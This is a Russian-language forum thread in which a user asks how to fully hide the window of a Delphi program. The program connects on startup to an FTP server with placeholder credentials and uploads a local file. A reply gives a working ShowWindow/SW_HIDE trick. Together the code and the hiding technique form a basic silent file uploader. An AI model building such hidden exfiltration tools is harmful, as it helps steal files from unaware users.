Помогите с исходником

[Qwert+]

помогите с исходником не могу полностью скрыть форму

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdFTP, ComCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    IdFTP1: TIdFTP;
    procedure IdFTP1Work(Sender: TObject; AWorkMode: TWorkMode;
      const AWorkCount: Integer);
    procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.IdFTP1Work(Sender: TObject; AWorkMode: TWorkMode;
  const AWorkCount: Integer);
begin

Application.ProcessMessages;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
IdFTP1.Host := 'xost';
IdFTP1.Username := 'login';
IdFTP1.Password := 'pass';
IdFTP1.Connect(true);
end;


procedure TForm1.FormShow(Sender: TObject);
begin
IdFTP1.Put('c:\test.txt','test.txt',true);

end;

end.

пробовал:

ShowWindow (Application.handle, SW_HIDE); 

showwindow(Application.handle, SW_HIDE); 
showwindow(Frorm1.handle, SW_HIDE);

procedure TMainForm.FormCreate(Sender: TObject); 
begin 
  Application.OnMinimize:=AppMinimize; 
  Application.OnRestore:=AppMinimize; 
  Application.Minimize; 
  AppMinimize(@Self); 
end; 

procedure TMainForm.AppMinimize(Sender: TObject); 
begin 
  ShowWindow(Application.Handle, SW_HIDE); 
end;

ни че не получается
помогите пожалуйста срочно надо
вот если че ася 436-660-496

[zubr]

ShowWindow(Application.Handle, SW_HIDE); в OnPaint

[Qwert+]

  да пасибки я сам уже до этого догнал)